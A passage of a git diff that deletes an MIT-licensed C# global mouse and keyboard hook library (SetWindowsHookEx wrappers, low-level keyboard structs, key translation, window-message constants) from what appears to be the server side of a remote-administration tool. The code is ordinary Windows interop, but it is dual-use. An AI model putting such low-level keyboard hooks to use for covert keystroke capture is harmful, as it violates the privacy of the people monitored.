- return CallNextHookEx(nCode, wParam, lParam); - } - - private static IntPtr CallNextHookEx(int nCode, IntPtr wParam, IntPtr lParam) - { - return HookNativeMethods.CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); - } - - private static void ThrowLastUnmanagedErrorAsException() - { - var errorCode = Marshal.GetLastWin32Error(); - throw new Win32Exception(errorCode); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/HookIds.cs b/Server/Core/MouseKeyHook/WinApi/HookIds.cs deleted file mode 100644 index 39937c6bf..000000000 --- a/Server/Core/MouseKeyHook/WinApi/HookIds.cs +++ /dev/null @@ -1,30 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class HookIds - { - /// - /// Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure. - /// - internal const int WH_MOUSE = 7; - - /// - /// Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook - /// procedure. - /// - internal const int WH_KEYBOARD = 2; - - /// - /// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level mouse input events. - /// - internal const int WH_MOUSE_LL = 14; - - /// - /// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level keyboard input events. - /// - internal const int WH_KEYBOARD_LL = 13; - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/HookNativeMethods.cs b/Server/Core/MouseKeyHook/WinApi/HookNativeMethods.cs deleted file mode 100644 index 7ae1fd000..000000000 --- a/Server/Core/MouseKeyHook/WinApi/HookNativeMethods.cs +++ /dev/null @@ -1,89 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class HookNativeMethods - { - /// - /// The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain. - /// A hook procedure can call this function either before or after processing the hook information. - /// - /// This parameter is ignored. - /// [in] Specifies the hook code passed to the current hook procedure. - /// [in] Specifies the wParam value passed to the current hook procedure. - /// [in] Specifies the lParam value passed to the current hook procedure. - /// This value is returned by the next hook procedure in the chain. - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp - /// - [DllImport("user32.dll", CharSet = CharSet.Auto, - CallingConvention = CallingConvention.StdCall)] - internal static extern IntPtr CallNextHookEx( - IntPtr idHook, - int nCode, - IntPtr wParam, - IntPtr lParam); - - /// - /// The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. - /// You would install a hook procedure to monitor the system for certain types of events. These events - /// are associated either with a specific thread or with all threads in the same desktop as the calling thread. - /// - /// - /// [in] Specifies the type of hook procedure to be installed. This parameter can be one of the following values. - /// - /// - /// [in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a - /// thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link - /// library (DLL). Otherwise, lpfn can point to a hook procedure in the code associated with the current process. - /// - /// - /// [in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter. - /// The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by - /// the current process and if the hook procedure is within the code associated with the current process. - /// - /// - /// [in] Specifies the identifier of the thread with which the hook procedure is to be associated. - /// If this parameter is zero, the hook procedure is associated with all existing threads running in the - /// same desktop as the calling thread. - /// - /// - /// If the function succeeds, the return value is the handle to the hook procedure. - /// If the function fails, the return value is NULL. To get extended error information, call GetLastError. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp - /// - [DllImport("user32.dll", CharSet = CharSet.Auto, - CallingConvention = CallingConvention.StdCall, SetLastError = true)] - internal static extern HookProcedureHandle SetWindowsHookEx( - int idHook, - HookProcedure lpfn, - IntPtr hMod, - int dwThreadId); - - /// - /// The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx - /// function. - /// - /// - /// [in] Handle to the hook to be removed. This parameter is a hook handle obtained by a previous call to - /// SetWindowsHookEx. - /// - /// - /// If the function succeeds, the return value is nonzero. - /// If the function fails, the return value is zero. To get extended error information, call GetLastError. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp - /// - [DllImport("user32.dll", CharSet = CharSet.Auto, - CallingConvention = CallingConvention.StdCall, SetLastError = true)] - internal static extern int UnhookWindowsHookEx(IntPtr idHook); - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/HookProcedure.cs b/Server/Core/MouseKeyHook/WinApi/HookProcedure.cs deleted file mode 100644 index 9747908e0..000000000 --- a/Server/Core/MouseKeyHook/WinApi/HookProcedure.cs +++ /dev/null @@ -1,40 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - /// - /// The CallWndProc hook procedure is an application-defined or library-defined callback - /// function used with the SetWindowsHookEx function. The HOOKPROC type defines a pointer - /// to this callback function. CallWndProc is a placeholder for the application-defined - /// or library-defined function name. - /// - /// - /// [in] Specifies whether the hook procedure must process the message. - /// If nCode is HC_ACTION, the hook procedure must process the message. - /// If nCode is less than zero, the hook procedure must pass the message to the - /// CallNextHookEx function without further processing and must return the - /// value returned by CallNextHookEx. - /// - /// - /// [in] Specifies whether the message was sent by the current thread. - /// If the message was sent by the current thread, it is nonzero; otherwise, it is zero. - /// - /// - /// [in] Pointer to a CWPSTRUCT structure that contains details about the message. - /// - /// - /// If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx. - /// If nCode is greater than or equal to zero, it is highly recommended that you call CallNextHookEx - /// and return the value it returns; otherwise, other applications that have installed WH_CALLWNDPROC - /// hooks will not receive hook notifications and may behave incorrectly as a result. If the hook - /// procedure does not call CallNextHookEx, the return value should be zero. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callwndproc.asp - /// - public delegate IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam); -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/HookProcedureHandle.cs b/Server/Core/MouseKeyHook/WinApi/HookProcedureHandle.cs deleted file mode 100644 index 2c79a1ca3..000000000 --- a/Server/Core/MouseKeyHook/WinApi/HookProcedureHandle.cs +++ /dev/null @@ -1,31 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; -using Microsoft.Win32.SafeHandles; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal class HookProcedureHandle : SafeHandleZeroOrMinusOneIsInvalid - { - private static bool _closing; - - static HookProcedureHandle() - { - Application.ApplicationExit += (sender, e) => { _closing = true; }; - } - - public HookProcedureHandle() - : base(true) - { - } - - protected override bool ReleaseHandle() - { - //NOTE Calling Unhook during processexit causes deley - if (_closing) return true; - return HookNativeMethods.UnhookWindowsHookEx(handle) != 0; - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/HookResult.cs b/Server/Core/MouseKeyHook/WinApi/HookResult.cs deleted file mode 100644 index d345da72d..000000000 --- a/Server/Core/MouseKeyHook/WinApi/HookResult.cs +++ /dev/null @@ -1,35 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal class HookResult : IDisposable - { - private readonly HookProcedureHandle m_Handle; - private readonly HookProcedure m_Procedure; - - public HookResult(HookProcedureHandle handle, HookProcedure procedure) - { - m_Handle = handle; - m_Procedure = procedure; - } - - public HookProcedureHandle Handle - { - get { return m_Handle; } - } - - public HookProcedure Procedure - { - get { return m_Procedure; } - } - - public void Dispose() - { - m_Handle.Dispose(); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/KeyboardHookStruct.cs b/Server/Core/MouseKeyHook/WinApi/KeyboardHookStruct.cs deleted file mode 100644 index af84cd13c..000000000 --- a/Server/Core/MouseKeyHook/WinApi/KeyboardHookStruct.cs +++ /dev/null @@ -1,43 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Runtime.InteropServices; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - /// - /// The KeyboardHookStruct structure contains information about a low-level keyboard input event. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookstructures/cwpstruct.asp - /// - [StructLayout(LayoutKind.Sequential)] - internal struct KeyboardHookStruct - { - /// - /// Specifies a virtual-key code. The code must be a value in the range 1 to 254. - /// - public int VirtualKeyCode; - - /// - /// Specifies a hardware scan code for the key. - /// - public int ScanCode; - - /// - /// Specifies the extended-key flag, event-injected flag, context code, and transition-state flag. - /// - public int Flags; - - /// - /// Specifies the Time stamp for this message. - /// - public int Time; - - /// - /// Specifies extra information associated with the message. - /// - public int ExtraInfo; - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/KeyboardNativeMethods.cs b/Server/Core/MouseKeyHook/WinApi/KeyboardNativeMethods.cs deleted file mode 100644 index 9a0844bba..000000000 --- a/Server/Core/MouseKeyHook/WinApi/KeyboardNativeMethods.cs +++ /dev/null @@ -1,366 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.Implementation; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class KeyboardNativeMethods - { - //values from Winuser.h in Microsoft SDK. - public const byte VK_SHIFT = 0x10; - public const byte VK_CAPITAL = 0x14; - public const byte VK_NUMLOCK = 0x90; - public const byte VK_LSHIFT = 0xA0; - public const byte VK_RSHIFT = 0xA1; - public const byte VK_LCONTROL = 0xA2; - public const byte VK_RCONTROL = 0xA3; - public const byte VK_LMENU = 0xA4; - public const byte VK_RMENU = 0xA5; - public const byte VK_LWIN = 0x5B; - public const byte VK_RWIN = 0x5C; - public const byte VK_SCROLL = 0x91; - public const byte VK_INSERT = 0x2D; - //may be possible to use these aggregates instead of L and R separately (untested) - public const byte VK_CONTROL = 0x11; - public const byte VK_MENU = 0x12; - public const byte VK_PACKET = 0xE7; - //Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods - private static int lastVirtualKeyCode = 0; - private static int lastScanCode = 0; - private static byte[] lastKeyState = new byte[256]; - private static bool lastIsDead = false; - - /// - /// Translates a virtual key to its character equivalent using the current keyboard layout without knowing the - /// scancode in advance. - /// - /// - /// - /// - /// - internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int fuState, out char[] chars) - { - var dwhkl = GetActiveKeyboard(); - int scanCode = MapVirtualKeyEx(virtualKeyCode, (int) MapType.MAPVK_VK_TO_VSC, dwhkl); - TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars); - } - - /// - /// Translates a virtual key to its character equivalent using the current keyboard layout - /// - /// - /// - /// - /// - /// - internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, out char[] chars) - { - var dwhkl = GetActiveKeyboard(); //get the active keyboard layout - TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars); - } - - /// - /// Translates a virtual key to its character equivalent using a specified keyboard layout - /// - /// - /// - /// - /// - /// - /// - internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, IntPtr dwhkl, out char[] chars) - { - StringBuilder pwszBuff = new StringBuilder(64); - KeyboardState keyboardState = KeyboardState.GetCurrent(); - byte[] currentKeyboardState = keyboardState.GetNativeState(); - bool isDead = false; - - if (keyboardState.IsDown(Keys.ShiftKey)) - currentKeyboardState[(byte) Keys.ShiftKey] = 0x80; - - if (keyboardState.IsToggled(Keys.CapsLock)) - currentKeyboardState[(byte) Keys.CapsLock] = 0x01; - - var relevantChars = ToUnicodeEx(virtualKeyCode, scanCode, currentKeyboardState, pwszBuff, pwszBuff.Capacity, fuState, dwhkl); - - switch (relevantChars) - { - case -1: - isDead = true; - ClearKeyboardBuffer(virtualKeyCode, scanCode, dwhkl); - chars = null; - break; - - case 0: - chars = null; - break; - - case 1: - if (pwszBuff.Length > 0) chars = new[] { pwszBuff[0] }; - else chars = null; - break; - - // Two or more (only two of them is relevant) - default: - if (pwszBuff.Length > 1) chars = new[] { pwszBuff[0], pwszBuff[1] }; - else chars = new[] { pwszBuff[0] }; - break; - } - - if (lastVirtualKeyCode != 0 && lastIsDead) - { - if (chars != null) - { - StringBuilder sbTemp = new StringBuilder(5); - ToUnicodeEx(lastVirtualKeyCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, 0, dwhkl); - lastIsDead = false; - lastVirtualKeyCode = 0; - } - - return; - } - - lastScanCode = scanCode; - lastVirtualKeyCode = virtualKeyCode; - lastIsDead = isDead; - lastKeyState = (byte[]) currentKeyboardState.Clone(); - } - - - private static void ClearKeyboardBuffer(int vk, int sc, IntPtr hkl) - { - var sb = new StringBuilder(10); - - int rc; - do - { - byte[] lpKeyStateNull = new Byte[255]; - rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl); - } while (rc < 0); - } - - /// - /// Gets the input locale identifier for the active application's thread. Using this combined with the ToUnicodeEx and - /// MapVirtualKeyEx enables Windows to properly translate keys based on the keyboard layout designated for the - /// application. - /// - /// HKL - private static IntPtr GetActiveKeyboard() - { - IntPtr hActiveWnd = ThreadNativeMethods.GetForegroundWindow(); //handle to focused window - int dwProcessId; - int hCurrentWnd = ThreadNativeMethods.GetWindowThreadProcessId(hActiveWnd, out dwProcessId); - //thread of focused window - return GetKeyboardLayout(hCurrentWnd); //get the layout identifier for the thread whose window is focused - } - - /// - /// The ToAscii function translates the specified virtual-key code and keyboard - /// state to the corresponding character or characters. The function translates the code - /// using the input language and physical keyboard layout identified by the keyboard layout handle. - /// - /// - /// [in] Specifies the virtual-key code to be translated. - /// - /// - /// [in] Specifies the hardware scan code of the key to be translated. - /// The high-order bit of this value is set if the key is up (not pressed). - /// - /// - /// [in] Pointer to a 256-byte array that contains the current keyboard state. - /// Each element (byte) in the array contains the state of one key. - /// If the high-order bit of a byte is set, the key is down (pressed). - /// The low bit, if set, indicates that the key is toggled on. In this function, - /// only the toggle bit of the CAPS LOCK key is relevant. The toggle state - /// of the NUM LOCK and SCROLL LOCK keys is ignored. - /// - /// - /// [out] Pointer to the buffer that receives the translated character or characters. - /// - /// - /// [in] Specifies whether a menu is active. This parameter must be 1 if a menu is active, or 0 otherwise. - /// - /// - /// If the specified key is a dead key, the return value is negative. Otherwise, it is one of the following values. - /// Value Meaning - /// 0 The specified virtual key has no translation for the current state of the keyboard. - /// 1 One character was copied to the buffer. - /// 2 Two characters were copied to the buffer. This usually happens when a dead-key character - /// (accent or diacritic) stored in the keyboard layout cannot be composed with the specified - /// virtual key to form a single character. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp - /// - [Obsolete("Use ToUnicodeEx instead")] - [DllImport("user32.dll")] - public static extern int ToAscii( - int uVirtKey, - int uScanCode, - byte[] lpbKeyState, - byte[] lpwTransKey, - int fuState); - - /// - /// Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters. - /// - /// [in] The virtual-key code to be translated. - /// - /// [in] The hardware scan code of the key to be translated. The high-order bit of this value is - /// set if the key is up. - /// - /// - /// [in, optional] A pointer to a 256-byte array that contains the current keyboard state. Each - /// element (byte) in the array contains the state of one key. If the high-order bit of a byte is set, the key is down. - /// - /// - /// [out] The buffer that receives the translated Unicode character or characters. However, this - /// buffer may be returned without being null-terminated even though the variable name suggests that it is - /// null-terminated. - /// - /// [in] The size, in characters, of the buffer pointed to by the pwszBuff parameter. - /// - /// [in] The behavior of the function. If bit 0 is set, a menu is active. Bits 1 through 31 are - /// reserved. - /// - /// The input locale identifier used to translate the specified code. - /// - /// -1 <= return <= n - /// - /// - /// -1 = The specified virtual key is a dead-key character (accent or diacritic). This value is returned - /// regardless of the keyboard layout, even if several characters have been typed and are stored in the - /// keyboard state. If possible, even with Unicode keyboard layouts, the function has written a spacing version - /// of the dead-key character to the buffer specified by pwszBuff. For example, the function writes the - /// character SPACING ACUTE (0x00B4), rather than the character NON_SPACING ACUTE (0x0301). - /// - /// - /// 0 = The specified virtual key has no translation for the current state of the keyboard. Nothing was - /// written to the buffer specified by pwszBuff. - /// - /// 1 = One character was written to the buffer specified by pwszBuff. - /// - /// n = Two or more characters were written to the buffer specified by pwszBuff. The most common cause - /// for this is that a dead-key character (accent or diacritic) stored in the keyboard layout could not be - /// combined with the specified virtual key to form a single character. However, the buffer may contain more - /// characters than the return value specifies. When this happens, any extra characters are invalid and should - /// be ignored. - /// - /// - /// - [DllImport("user32.dll")] - public static extern int ToUnicodeEx(int wVirtKey, - int wScanCode, - byte[] lpKeyState, - [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] StringBuilder pwszBuff, - int cchBuff, - int wFlags, - IntPtr dwhkl); - - /// - /// The GetKeyboardState function copies the status of the 256 virtual keys to the - /// specified buffer. - /// - /// - /// [in] Pointer to a 256-byte array that contains keyboard key states. - /// - /// - /// If the function succeeds, the return value is nonzero. - /// If the function fails, the return value is zero. To get extended error information, call GetLastError. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp - /// - [DllImport("user32.dll")] - public static extern int GetKeyboardState(byte[] pbKeyState); - - /// - /// The GetKeyState function retrieves the status of the specified virtual key. The status specifies whether the key is - /// up, down, or toggled - /// (on, off—alternating each time the key is pressed). - /// - /// - /// [in] Specifies a virtual key. If the desired virtual key is a letter or digit (A through Z, a through z, or 0 - /// through 9), nVirtKey must be set to the ASCII value of that character. For other keys, it must be a virtual-key - /// code. - /// - /// - /// The return value specifies the status of the specified virtual key, as follows: - /// If the high-order bit is 1, the key is down; otherwise, it is up. - /// If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The - /// key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be - /// on when the key is toggled, and off when the key is untoggled. - /// - /// http://msdn.microsoft.com/en-us/library/ms646301.aspx - [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] - public static extern short GetKeyState(int vKey); - - /// - /// Translates (maps) a virtual-key code into a scan code or character value, or translates a scan code into a - /// virtual-key code. - /// - /// - /// [in] The virtual key code or scan code for a key. How this value is interpreted depends on the - /// value of the uMapType parameter. - /// - /// - /// [in] The translation to be performed. The value of this parameter depends on the value of the - /// uCode parameter. - /// - /// [in] The input locale identifier used to translate the specified code. - /// - [DllImport("user32.dll", CharSet = CharSet.Auto)] - internal static extern int MapVirtualKeyEx(int uCode, int uMapType, IntPtr dwhkl); - - /// - /// Retrieves the active input locale identifier (formerly called the keyboard layout) for the specified thread. - /// If the idThread parameter is zero, the input locale identifier for the active thread is returned. - /// - /// [in] The identifier of the thread to query, or 0 for the current thread. - /// - /// The return value is the input locale identifier for the thread. The low word contains a Language Identifier for the - /// input - /// language and the high word contains a device handle to the physical layout of the keyboard. - /// - [DllImport("user32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetKeyboardLayout(int dwLayout); - - /// - /// MapVirtualKeys uMapType - /// - internal enum MapType - { - /// - /// uCode is a virtual-key code and is translated into an unshifted character value in the low-order word of the return - /// value. Dead keys (diacritics) are indicated by setting the top bit of the return value. If there is no translation, - /// the function returns 0. - /// - MAPVK_VK_TO_VSC, - - /// - /// uCode is a virtual-key code and is translated into a scan code. If it is a virtual-key code that does not - /// distinguish between left- and right-hand keys, the left-hand scan code is returned. If there is no translation, the - /// function returns 0. - /// - MAPVK_VSC_TO_VK, - - /// - /// uCode is a scan code and is translated into a virtual-key code that does not distinguish between left- and - /// right-hand keys. If there is no translation, the function returns 0. - /// - MAPVK_VK_TO_CHAR, - - /// - /// uCode is a scan code and is translated into a virtual-key code that distinguishes between left- and right-hand - /// keys. If there is no translation, the function returns 0. - /// - MAPVK_VSC_TO_VK_EX - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/Messages.cs b/Server/Core/MouseKeyHook/WinApi/Messages.cs deleted file mode 100644 index a62232a1d..000000000 --- a/Server/Core/MouseKeyHook/WinApi/Messages.cs +++ /dev/null @@ -1,123 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class Messages - { - //values from Winuser.h in Microsoft SDK. - - /// - /// The WM_MOUSEMOVE message is posted to a window when the cursor moves. - /// - public const int WM_MOUSEMOVE = 0x200; - - /// - /// The WM_LBUTTONDOWN message is posted when the user presses the left mouse button - /// - public const int WM_LBUTTONDOWN = 0x201; - - /// - /// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button - /// - public const int WM_RBUTTONDOWN = 0x204; - - /// - /// The WM_MBUTTONDOWN message is posted when the user presses the middle mouse button - /// - public const int WM_MBUTTONDOWN = 0x207; - - /// - /// The WM_LBUTTONUP message is posted when the user releases the left mouse button - /// - public const int WM_LBUTTONUP = 0x202; - - /// - /// The WM_RBUTTONUP message is posted when the user releases the right mouse button - /// - public const int WM_RBUTTONUP = 0x205; - - /// - /// The WM_MBUTTONUP message is posted when the user releases the middle mouse button - /// - public const int WM_MBUTTONUP = 0x208; - - /// - /// The WM_LBUTTONDBLCLK message is posted when the user double-clicks the left mouse button - /// - public const int WM_LBUTTONDBLCLK = 0x203; - - /// - /// The WM_RBUTTONDBLCLK message is posted when the user double-clicks the right mouse button - /// - public const int WM_RBUTTONDBLCLK = 0x206; - - /// - /// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button - /// - public const int WM_MBUTTONDBLCLK = 0x209; - - /// - /// The WM_MOUSEWHEEL message is posted when the user presses the mouse wheel. - /// - public const int WM_MOUSEWHEEL = 0x020A; - - /// - /// The WM_XBUTTONDOWN message is posted when the user presses the first or second X mouse - /// button. - /// - public const int WM_XBUTTONDOWN = 0x20B; - - /// - /// The WM_XBUTTONUP message is posted when the user releases the first or second X mouse - /// button. - /// - public const int WM_XBUTTONUP = 0x20C; - - /// - /// The WM_XBUTTONDBLCLK message is posted when the user double-clicks the first or second - /// X mouse button. - /// - /// Only windows that have the CS_DBLCLKS style can receive WM_XBUTTONDBLCLK messages. - public const int WM_XBUTTONDBLCLK = 0x20D; - - /// - /// The WM_MOUSEHWHEEL message Sent to the active window when the mouse's horizontal scroll - /// wheel is tilted or rotated. - /// - public const int WM_MOUSEHWHEEL = 0x20E; - - /// - /// The WM_KEYDOWN message is posted to the window with the keyboard focus when a non-system - /// key is pressed. A non-system key is a key that is pressed when the ALT key is not pressed. - /// - public const int WM_KEYDOWN = 0x100; - - /// - /// The WM_KEYUP message is posted to the window with the keyboard focus when a non-system - /// key is released. A non-system key is a key that is pressed when the ALT key is not pressed, - /// or a keyboard key that is pressed when a window has the keyboard focus. - /// - public const int WM_KEYUP = 0x101; - - /// - /// The WM_SYSKEYDOWN message is posted to the window with the keyboard focus when the user - /// presses the F10 key (which activates the menu bar) or holds down the ALT key and then - /// presses another key. It also occurs when no window currently has the keyboard focus; - /// in this case, the WM_SYSKEYDOWN message is sent to the active window. The window that - /// receives the message can distinguish between these two contexts by checking the context - /// code in the lParam parameter. - /// - public const int WM_SYSKEYDOWN = 0x104; - - /// - /// The WM_SYSKEYUP message is posted to the window with the keyboard focus when the user - /// releases a key that was pressed while the ALT key was held down. It also occurs when no - /// window currently has the keyboard focus; in this case, the WM_SYSKEYUP message is sent - /// to the active window. The window that receives the message can distinguish between - /// these two contexts by checking the context code in the lParam parameter. - /// - public const int WM_SYSKEYUP = 0x105; - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/MouseNativeMethods.cs b/Server/Core/MouseKeyHook/WinApi/MouseNativeMethods.cs deleted file mode 100644 index e6d86340b..000000000 --- a/Server/Core/MouseKeyHook/WinApi/MouseNativeMethods.cs +++ /dev/null @@ -1,27 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Runtime.InteropServices; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class MouseNativeMethods - { - /// - /// The GetDoubleClickTime function retrieves the current double-click time for the mouse. A double-click is a series - /// of two clicks of the - /// mouse button, the second occurring within a specified time after the first. The double-click time is the maximum - /// number of - /// milliseconds that may occur between the first and second click of a double-click. - /// - /// - /// The return value specifies the current double-click time, in milliseconds. - /// - /// - /// http://msdn.microsoft.com/en-us/library/ms646258(VS.85).aspx - /// - [DllImport("user32.dll")] - internal static extern int GetDoubleClickTime(); - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/MouseStruct.cs b/Server/Core/MouseKeyHook/WinApi/MouseStruct.cs deleted file mode 100644 index 364c81975..000000000 --- a/Server/Core/MouseKeyHook/WinApi/MouseStruct.cs +++ /dev/null @@ -1,54 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - /// - /// The structure contains information about a mouse input event. - /// - /// - /// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct - /// - [StructLayout(LayoutKind.Explicit)] - internal struct MouseStruct - { - /// - /// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates. - /// - [FieldOffset(0x00)] public Point Point; - - /// - /// Specifies information associated with the message. - /// - /// - /// The possible values are: - /// - /// - /// 0 - No Information - /// - /// - /// 1 - X-Button1 Click - /// - /// - /// 2 - X-Button2 Click - /// - /// - /// 120 - Mouse Scroll Away from User - /// - /// - /// -120 - Mouse Scroll Toward User - /// - /// - /// - [FieldOffset(0x0A)] public Int16 MouseData; - - /// - /// Returns a Timestamp associated with the input, in System Ticks. - /// - [FieldOffset(0x10)] public Int32 Timestamp; - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/Point.cs b/Server/Core/MouseKeyHook/WinApi/Point.cs deleted file mode 100644 index f54cbc19b..000000000 --- a/Server/Core/MouseKeyHook/WinApi/Point.cs +++ /dev/null @@ -1,64 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Runtime.InteropServices; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - /// - /// The Point structure defines the X- and Y- coordinates of a point. - /// - /// - /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/rectangl_0tiq.asp - /// - [StructLayout(LayoutKind.Sequential)] - internal struct Point - { - /// - /// Specifies the X-coordinate of the point. - /// - public int X; - - /// - /// Specifies the Y-coordinate of the point. - /// - public int Y; - - public Point(int x, int y) - { - X = x; - Y = y; - } - - public static bool operator ==(Point a, Point b) - { - return a.X == b.X && a.Y == b.Y; - } - - public static bool operator !=(Point a, Point b) - { - return !(a == b); - } - - public bool Equals(Point other) - { - return other.X == X && other.Y == Y; - } - - public override bool Equals(object obj) - { - if (ReferenceEquals(null, obj)) return false; - if (obj.GetType() != typeof (Point)) return false; - return Equals((Point) obj); - } - - public override int GetHashCode() - { - unchecked - { - return (X*397) ^ Y; - } - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/WinApi/ThreadNativeMethods.cs b/Server/Core/MouseKeyHook/WinApi/ThreadNativeMethods.cs deleted file mode 100644 index 2cd600c75..000000000 --- a/Server/Core/MouseKeyHook/WinApi/ThreadNativeMethods.cs +++ /dev/null @@ -1,46 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace xServer.Core.MouseKeyHook.WinApi -{ - internal static class ThreadNativeMethods - { - /// - /// Retrieves the unmanaged thread identifier of the calling thread. - /// - /// - [DllImport("kernel32.dll")] - internal static extern int GetCurrentThreadId(); - - /// - /// Retrieves a handle to the foreground window (the window with which the user is currently working). - /// The system assigns a slightly higher priority to the thread that creates the foreground window than it does to - /// other threads. - /// - /// - [DllImport("user32.dll")] - internal static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); - - /// - /// Retrieves the identifier of the thread that created the specified window and, optionally, the identifier of the - /// process that - /// created the window. - /// - /// A handle to the window. - /// - /// A pointer to a variable that receives the process identifier. If this parameter is not NULL, - /// 